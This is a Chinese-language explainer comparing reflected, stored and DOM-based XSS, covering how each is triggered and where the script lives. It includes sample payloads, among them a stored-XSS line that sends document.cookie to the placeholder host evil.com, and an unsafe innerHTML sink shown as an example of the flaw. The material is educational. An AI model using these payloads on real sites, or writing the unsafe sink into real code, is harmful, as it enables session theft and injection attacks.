反射型XSS诱骗执行,存储型持久传播,DOM型前端渲染触发

XSS攻击的三种类型在触发机制上的核心区别在于恶意脚本的来源、存储位置 以及触发执行的方式。具体差异如下表所示:

类型 触发机制核心区别 恶意脚本来源与存储 触发执行方式 典型攻击流程
反射型 XSS 恶意脚本作为请求参数(如URL)发送给服务器,服务器**未经处理直接"反射"**到响应中,在受害者浏览器执行。 来源于攻击者构造的一次性请求,通常不存储在服务器上。 需要诱导用户主动点击一个包含恶意脚本的链接。 1. 攻击者构造恶意URL(如 https://example.com/search?q=<script>alert(1)</script>)。 2. 诱导用户点击该链接。 3. 服务器将 q 参数值直接插入响应HTML并返回。 4. 用户浏览器解析响应,执行其中的恶意脚本。
存储型 XSS 恶意脚本被提交并永久存储在服务器端(如数据库、文件、评论内容),当其他用户访问包含该数据的页面时,脚本被取出并执行。 来源于攻击者提交的表单数据 ,并持久化存储在服务器中。 任何访问了存储有恶意脚本页面的用户都会自动触发执行,无需再次交互。 1. 攻击者在可存储用户输入的地方(如论坛评论、用户资料)提交恶意脚本(如 <script>new Image().src='http://evil.com/steal?c='+document.cookie</script>)。 2. 服务器将该脚本存入数据库。 3. 当其他用户浏览该评论页面时,服务器从数据库取出评论并返回给浏览器。 4. 用户浏览器解析页面,执行恶意脚本。
DOM 型 XSS 漏洞完全发生在客户端。攻击载荷通过修改页面的DOM(文档对象模型)环境来触发脚本执行,服务器返回的原始HTML可能并未包含恶意代码。 来源于客户端JavaScript处理的不安全数据 ,如URL片段(#之后的部分)、document.referrer等,这些数据不发送到服务器或服务器不处理。 用户访问一个特定的恶意构造的URL,或页面上的客户端JS代码不安全地处理了某些输入数据。 1. 页面中存在不安全的DOM操作代码,例如: document.getElementById('content').innerHTML = location.hash.substring(1);。 2. 攻击者构造URL:http://example.com/page#<img src=x onerror=alert(1)>。 3. 用户访问该URL,浏览器本地JS将location.hash的内容(<img ...>)通过innerHTML写入DOM。 4.浏览器解析新插入的HTML,img标签的onerror事件被触发,执行恶意JS。

关键机制差异总结

  • 数据流与存储:反射型和DOM型的恶意脚本通常不存储在服务器(DOM型甚至不经过服务器),而存储型则持久化在服务器。
  • 触发条件:反射型需要用户点击特定链接;存储型是访问被"污染"的页面即触发;DOM型则是访问特定构造的URL或页面执行了不安全的客户端逻辑。
  • 检测难度 :由于DOM型XSS的恶意载荷可能仅存在于URL片段(#之后)且不发送到服务器,传统的服务端日志和WAF(Web应用防火墙)可能无法检测到。

参考来源